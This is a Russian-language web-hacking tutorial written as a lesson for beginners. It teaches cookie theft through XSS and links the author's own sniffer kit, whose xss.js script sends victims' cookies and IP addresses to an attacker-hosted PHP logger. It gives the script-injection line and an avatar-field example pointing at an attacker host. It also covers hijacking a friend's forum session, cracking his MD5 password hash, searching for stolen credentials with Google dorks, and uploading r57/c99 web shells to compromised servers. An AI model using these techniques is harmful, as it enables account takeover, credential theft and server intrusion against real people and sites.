Основы
Привет, читатель! Вот мы и добрались до самого интересного. Сегодня мы поговорим о веб-хакинге, о том, кто, зачем, и какими способами взламывает сайты, какие бывают уязвимости, что такое сплойты, кто такие скрипт-кидди и почему лучше искать уязвимости самостоятельно, вручную. Темы урока: Кто и зачем Что такое уязвимости Уязвимости класса XSS Cookies. Вся правда Исследование куков Воруем куки Что такое шелл Заливаем шелл Веб-хакинг - это самое популярное направление среди современных хакеров. Чаще всего под словом "хакинг" сейчас понимают взлом веб-сайтов. Делают это самыми разными способами. Давай сначала разберемся с терминами. Под словом "взлом" я понимаю (не)санкционированный доступ к ftp-аккаунту, базе данных. ftp - FILE TRANSFER PROTOCOL - протокол, предназначенный специально для передачи файлов. Это - один из старейших протоколов Интернет. При подключении на site.com по http мы видим браузером его главную страницу, при подключении по ftp мы увидим список файлов этого сайта. Другой вопрос, пустят нас или нет, т.к. в большинстве случаев для ftp нужен пароль. Как гласит подпись нашего главного админа, ВСЁ, ЧТО СОЗДАЛ ЧЕЛОВЕК, МОЖНО ВЗЛОМАТЬ. ИДЕАЛЬНОЙ ЗАЩИТЫ НЕ СУЩЕСТВУЕТ. И как ни крути, это правда. В Интернете очень много уязвимостей. Статистика показывает, что большинство динамических сайтов Интернета подвержены XSS и SQL injection. Хакеры ищут эти уязвимости и пытаются попасть внутрь. Но ведь бессмысленных взломов не бывает, верно? Т.е. лично я не ломаю каких-то левых сервисов, на которые зашел случайно, а выбираю себе совершенно конкретную цель, и тогда уже работаю над ней, пока не получу доступ. Многие пишут мне письма, и в конце добавляют - "только не ломай мою асю/мыло" или "только не закидывай мне вирус". Наивные)). Знаешь, почему? Правильно. Зачем мне троянить их компы, если мне это совершенно не надо? Вывод: не занимайся неинтересными вещами. Вот если бы я прознал, что у него на компе лежит дамп БД ХакЗоны, я наверняка полез бы туда. Теперь цель очевидна - дамп. Из этого правила есть исключение - так называемый Google-хакинг. Представь себе такую обстановку: Каникулы, суббота, вечер, делать нечего, все знакомые тебя уже опасаются, рядом с компьютером наготовлена/недопита бутылка/банка пива/колы(нужное подчеркнуть( к цензору не относится;) ) ). Тогда твоя рука машинально тянется к ярлычку Inet.lnk, перед тобой возникает стартовая страница: Google. Ты вводишь запрос "filetype:dat inurl: Program Files", и перед тобой список бесплатных шестизначек)). Или пишешь "Powered by Invision Power Board 2.1.3" и запускаешь готовый сплойт от RST. Вот так иногда развлекаются ксакепы. Если смысл последних двух предложений остался тайной, покрытой мраком, ты прочитаешь об этом ниже.
Самый распространенный и популярный вид уязвимостей - это XSS. Смысл уязвимости заключается в том, что переменные, которые передаются какому-либо скрипту для последующей записи и вывода не фильтруются. Т.е. когда ты отписываешься в гостевой книге, кроме текста ты можешь писать любой HTML-тег, и он выполнится. Для наглядности я приготовил дырявую гостевую. Почему уязвимости XSS были, есть и будут проще всего понять, проанализировав файл записей вышеназванной гостебуки;) http://powertray.t35.com/vlad-xss/guestbook.txt. Зайди туда и в тексте напиши:
{a href="http://fssr.ru"}HackZona{/a}. Как видишь, появилась ссылка. Это говорит о том, что выполнился HTML-код. Да, ссылка не несет никакой опасности, но ведь вместо тега {a} можно подставить тег {script}, и тогда мы получим в свое распоряжение всю мощь языка JavaScript. Давай разберемся, как при помощи этой уязвимости воруют cookies. Но сначала о том, что такое cookies.
[cookies] - это ВРЕМЕННЫЕ файлы, созданные сервером, которые хранятся на компьютере пользователя. В них содержится информация, такая как логин, пароль, хэш пароля, пользовательские настройки, и др. Использование кукисов освобождает пользователя от необходимости каждый раз при входе на аккаунт вводить пароль, например. Каждый сайт может создать у тебя на компьютере кукис, и вместо того, чтобы спрашивать у тебя логин/пароль просто считать их оттуда. В целях безопасности, сервер имеет доступ только к тем кукисам, которые создавал он, т.е. куки с других сайтов он читать не может. Заметь, я выделил слово ВРЕМЕННЫЕ. Это означает, что они живут у тебя на машине только определенное время, после чего деактивируются. Дата, когда они становятся недействительными, тоже содержится в них, эта колонка называется EXPIRE DATE.
[Исследование куков] Давай исследуем, какие же куки есть у тебя на компьютере. В дальнейшем тебе по-любому для работы с куками IE понадобится программа IECookiesView, ссылки не имею, найдешь)). Для расшифровки хэшей используй PasswordsPro, линк был в первом уроке. Не прячь PasswordsPro далеко, т.к. в будущем она тебя будет реально выручать. В правильных руках это швейцарский нож для разделывания паролей.
[Исследование куков форума IPB] Допустим, что я и мой товарищ зарегистрированы на некоем форуме www.forum.zu на основе Invision Power Board версии 1.х. Мы имеем свежие куки нашего друга, утянутые, в моем случае с помощью ALB. Я открываю IEcookiesView, ищу наш форум. Вижу два поля: member_id: 23 pass_hash: b513f22c3db6932855ad732f5f8a10a2 Ну тут НЕ догадаться трудно: member_id - порядковый номер пользователя (у главного админа он равен 0) Я зарегистрировался 23м по счету. pass_hash - md5-хэш моего пароля.
Рисунок (http://zerobyte2006.narod.ru/art/osnhack4.files/iecv.jpg) Дальше я копирую в папку с куками (C:Documents and SettingsVladUhaCookies) файл, утянутый у друга, предварительно заменив никнейм_френда@forum.zu на vladuha@forum.zu, так, чтобы он заменил мой старый. Открываю этот кук, и вижу следующее: member_id: 24 pass_hash: e10adc3949ba59abbe56e057f20f883e Он зарегистрировался сразу после меня. Во-первых, я открываю Internet Explorer и захожу на www.forum.zu Опа! Здрастте, "никнейм_френда"! Ваш последний визит: дд.мм.гг Неплохо, но мало. Я хочу получить пароль, а не просто украсть сессию. Я открываю PasswordsPro, "восстановление паролей к хэшам", нажимаю "редактировать" на записи User, тип уже установлен - MD5. В поле "Хэш" вставляю затыренный хэш.
Рисунок (http://zerobyte2006.narod.ru/art/osnhack4.files/passwordspro.jpg) Не забудь о том, что надо тщательно выставить настройки атаки. Скрестив пальцы, нажимаю "Начать атаку". Пароль оказался простым и очень быстро подобрался. Это был 123456. Кстати, прежде чем брутить хэш, загляни сюда: если тип хэша MD5, возможно, тебе повезет и ты найдешь пароль по базе данных этого сайта. Если нет, придется брутить. В IPB версий 2.х в колонке pass_hash находится не хэш пароля, а просто пропускной ключ, его сбрутить уже не получится. Теперь ты знаешь, что такое cookies, как их подменять, и что это дает. А теперь давай научимся их вытягивать, используя XSS. Для этого тебе нужен специальный набор скриптов, я советую использовать мой собственный: http://powertray.t35.com/snif.rar. Теперь давай разберемся, как это работает. Открой xss.js в блокноте. Это скрипт, который ты должен умудриться внедрить на уязвимый форум. Когда он выполняется, он показывает невидимый iframe, следствием чего является передача куков снифферу xss.php, который должен быть расположен на хостинге с поддержкой PHP и правильно выставленными правами на запись(делается вручную). При вызове xss.php, он автоматически фиксирует время, IP-адрес жертвы в данный момент времени, откуда она пришла (REFERER), ну и записывает(добавляет) это всё, а также куки жертвы в файл snif.html. Отдельно я подошел к оформлению html-файла с результатами. Большинство куки-снифферов, которые я видел на форумах, написаны на скорую руку - неудобные, малофункциональные. Я решил внести в это дело немного стиля. Кстати, CSS-оформление я позаимствовал из веб-шелла команды АК-74, за что им спасибо(Привет Теллуру;)). В результатах при клике на IP откроется окно, которое расскажет тебе об этом адресе все, что знает)). Итак, все эти файлы ты загружаешь на свою домашнюю страницу. Как ты, наверное, уже догадался, xss.js должен ВЫПОЛНЯТЬСЯ на уязвимом форуме(чате, сайте ... ) Принцип работы сниффера понятен, следующий этап - проинклудить его в уязвимую страницу. С моей гостевой это не получится, там не используются куки. Куда это приткнуть ты уже найдешь сам. Делается это строчкой {script language=javascript src=http://твой_сайт.zu/xss.js} Кто-то просил примеров побольше... Ладно, вот пример: Есть некий форум site.com, и твоя страничка pupkin.ru И вот представь себе, оказывается, форум на сайте самописный, а в таких случаях часто можно найти уязвимость. Ты долго по нему лазишь в надежде найти что-нибудь интересное, и находишь: аватар можно загрузить напрямую с твоего компьютера или вместо этого показывать его с какого-то адреса в Интернете. Причем разработчики не посчитали нужным проверять, действительно ли это картинка. Поле должно выглядеть примерно так:
URL вашей картинки: http://hacker.zu/xss.js Ты нажимаешь кнопку "Сохранить" внизу страницы, заходишь на форум и видишь, что никакой на аватаре, естественно, нет. Вместо этого твои куки с форума перекочевали на сниффер. Идешь, проверяешь snif.html. Что ты там увидишь - я предсказать не в силах, могу лишь посоветовать не обольщаться, ибо самописные форумы - это редкость, а если и есть, то они хорошо защищены. Если ты найдешь такой, можешь считать себя счастливчиком;).
[Разведение шеллов] А теперь давай поговорим о шеллах. Веб-шелл в данном случае представляет собой php-файл, предназначенный для управления взломанным сервером. На данный момент я знаю не так много хороших шеллов, но могу посоветовать r57 или c99. Скачать увесистый набор веб-шеллов можно отсюда. Прямой ссылки не имею, поищи по форуму.
[Заливаем шелл] Как ты понял, чтобы управлять (на самом деле управлять - громко сказано, это как получится) файловой системой взломанного ресурса, нужно закачать туда шелл. Делается это посредством нахождения соответствующей уязвимости. Здесь будь внимательным: файл шелла должен быть именно ЗАКАЧАН на уязвимый сайт, а не просто показан. Т.е. в предыдущем примере с форумом мы сможем залить шелл через аватар только в том случае, если форум автоматически закачивает указанный файл себе на винт, в противном случае мы увидим файловую систему того сервера, на котором шелл расположен изначально. А нам нужна ФС ФОРУМА. Кстати о предыдущем примере. Тут вроде бы все ясно: В поле рисунка вписываем путь к шеллу, на самом форуме кликаем по нашему "аватару" и смотрим, куда он залился. Вызываем браузером этот путь. Вроде все, дополнительно - список статей в оффтопике.
[Offtopic] Как дополнительный материал советую прочитать: XSS Новичкам. Автор: DrWeb Теоретические основы хакинга. Автор: DrWeb Взлом чатов by Algol. теория и практика(ищи на Античате) Обход XSS-фильтров при использовании уязвимостей(ищи на Античате) Введение в веб-хакинг высокого уровня. Автор: Trinux Формат и синтаксис cookie
Теперь какое-то время специально уроков писать не буду, чтобы ты потренировался в том, что есть, т.к. дальше я буду рассказывать об эксплоитах, но я не хочу делать из тебя киддиса. Для размещения сниффера понадобится бесплатный хостинг с пхп, я могу посоветовать: www.fatal.ruwww.jino-net.ruwww.holm.ruwww.t35.com (имхо самый лучший из них)
Если кому-то приглянулась моя гостевая, без XSS ее можно будет скачать с моей хоум паги, как только я закончу ее реконструкцию. Я думаю организовать бесплатную email-рассылку "основ хакерства". Преимущества очевидны: поддержка стилей поддержка картинок самый быстрый способ получения статей
|